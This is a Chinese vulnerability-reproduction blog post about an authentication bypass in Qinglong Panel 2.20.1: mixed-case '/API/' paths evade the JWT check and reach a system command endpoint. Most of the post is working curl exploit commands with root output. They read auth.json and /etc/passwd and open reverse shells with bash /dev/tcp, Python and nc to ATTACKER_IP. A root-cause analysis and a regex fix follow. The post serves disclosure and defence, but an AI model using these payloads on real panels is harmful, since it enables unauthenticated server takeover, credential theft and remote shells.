青龙面板鉴权绕过从路径大小写到 RCE【漏洞复现】

深度剖析青龙面板最新版鉴权绕过漏洞,利用路径大小写特性绕过 JWT 校验,最终实现未授权远程命令执行。

图片[1]-青龙面板鉴权绕过从路径大小写到 RCE【漏洞复现】 - HackTwoHub社区-HackTwoHub社区

? 漏洞摘要

项目详情
漏洞名称青龙面板鉴权绕过导致 RCE
影响版本Qinglong Panel 2.20.1
漏洞类型鉴权绕过 → 远程命令执行
CVE 编号待分配 (2026-02 披露)
危害等级? 严重 (Critical)
利用复杂度? 低 (无需认证)


? 漏洞概述

青龙面板 (Qinglong Panel) 是一款流行的定时任务管理面板,广泛应用于脚本管理、自动化任务等场景。

2026 年 2 月,安全研究人员发现青龙面板最新版本存在一处鉴权绕过漏洞。攻击者通过构造特殊的路径大小写,可以绕过 JWT 令牌校验,直接访问高权限 API 接口,最终实现未授权远程命令执行 (RCE)

核心问题

// back/loaders/express.ts
path: [...config.apiWhiteList, /^(?!api\/).*/]

// 问题:正则严格匹配纯小写的 api
// 只要不是 /api/ 开头,就会绕过 JWT 校验

自定义鉴权中间件使用的是 req.path.startsWith() 判断,它严格区分大小写:

if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
    return next();  // 直接放行,跳过 JWT 校验
}

因此 /API/ 这类路径会跳过令牌校验,同时因为 Express 默认大小写不敏感/API/... 还能正常匹配到 /api/... 路由。


? 环境搭建

1. 部署漏洞环境

# 使用 Docker 部署漏洞版本
docker run -d \
  -p 5700:5700 \
  -v $(pwd)/data:/ql/data \
  --name qinglong \
  whyour/qinglong:2.20.1

# 访问面板
# http://localhost:5700

2. 验证环境

# 检查版本
curl http://localhost:5700/api/system/version

# 预期输出
{"data":"2.20.1","code":200}


? 漏洞复现

步骤 1: 验证鉴权绕过

正常情况(需要认证):

# 直接访问 /api/ 路径会被拦截
curl -X PUT "http://localhost:5700/api/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "id"}'

# 响应:401 Unauthorized
{"code":401,"message":"未授权访问"}

利用大小写绕过:

# 使用 /API/ (大写) 绕过鉴权
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "id"}'

# 响应:200 OK
{
  "code": 200,
  "data": "uid=0(root) gid=0(root) groups=0(root)"
}

步骤 2: 执行系统命令

获取系统信息:

# 查看当前用户
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "whoami"}'

# 查看主机名
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "hostname"}'

# 查看环境变量
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "env"}'

读取敏感文件:

# 读取青龙配置文件
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "cat /ql/data/config/auth.json"}'

# 读取系统密码本 (需要 root 权限)
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "cat /etc/passwd"}'

步骤 3: 获取 Shell

反弹 Shell:

# Bash 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}'

# Python 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\"ATTACKER_IP\"\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"\"/bin/sh\"\",\"\"-i\"\"]);\""}'

# NC 反弹
curl -X PUT "http://localhost:5700/API/system/command-run" \
  -H "Content-Type: application/json" \
  -d '{"command": "nc -e /bin/sh ATTACKER_IP 4444"}'


? 技术细节分析

1. Express 路由大小写不敏感

Express 框架默认对路由大小写不敏感:

const express = require('express');
const app = express();

app.get('/api/test', (req, res) => {
    res.send('Hello');
});

// 以下请求都能匹配到上述路由
// GET /api/test      ✓
// GET /API/test      ✓
// GET /Api/test      ✓
// GET /aPi/TeSt      ✓

这是 Express 的默认行为,可以通过 app.set('case sensitive routing', true) 启用大小写敏感。

2. 鉴权中间件逻辑漏洞

问题代码:

// back/loaders/express.ts
app.use((req, res, next) => {
    // 白名单路径,不需要鉴权
    if (!['/open/', '/api/'].some((x) => req.path.startsWith(x))) {
        return next();  // 跳过 JWT 校验
    }
    
    // 验证 JWT 令牌
    const token = req.headers.authorization;
    if (!verifyToken(token)) {
        return res.status(401).json({ code: 401, message: '未授权' });
    }
    
    next();
});

绕过原理:

请求路径:/API/system/command-run

1. req.path = '/API/system/command-run'
2. req.path.startsWith('/api/') = false  ← 大小写不匹配
3. 条件为真,执行 next()  ← 跳过 JWT 校验
4. Express 路由匹配:/API/ → /api/  ← 大小写不敏感,成功匹配
5. 执行命令执行接口 ← 未授权访问成功

3. 可利用 API 接口

青龙面板提供多个危险 API 接口:

接口路径功能危险等级
/api/system/command-run执行系统命令? 严重
/api/env管理环境变量? 高
/api/repo管理仓库? 高
/api/subscription管理订阅? 中
/api/user用户管理? 高


?️ 防御建议

官方修复方案

修复鉴权逻辑:

// 修复后:使用正则忽略大小写
const authPaths = [/^\/open\//i, /^\/api\//i];

app.use((req, res, next) => {
    if (!authPaths.some((pattern) => pattern.test(req.path))) {
        return next();
    }
    
    // 验证 JWT 令牌
    const token = req.headers.authorization;
    if (!verifyToken(token)) {
        return res.status(401).json({ code: 401, message: '未授权' });
    }
    
    next();
});


? 影响评估

受影响版本

版本状态
2.20.1❌ 受影响
2.20.0❌ 可能受影响
2.19.x⚠️ 待确认
< 2.19⚠️ 待确认

潜在危害

    1. 服务器完全沦陷 – 攻击者可执行任意命令

    1. 数据泄露 – 读取配置文件、数据库、密钥

    1. 内网渗透 – 以服务器为跳板攻击内网

    1. 挖矿/僵尸网络 – 植入恶意程序

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容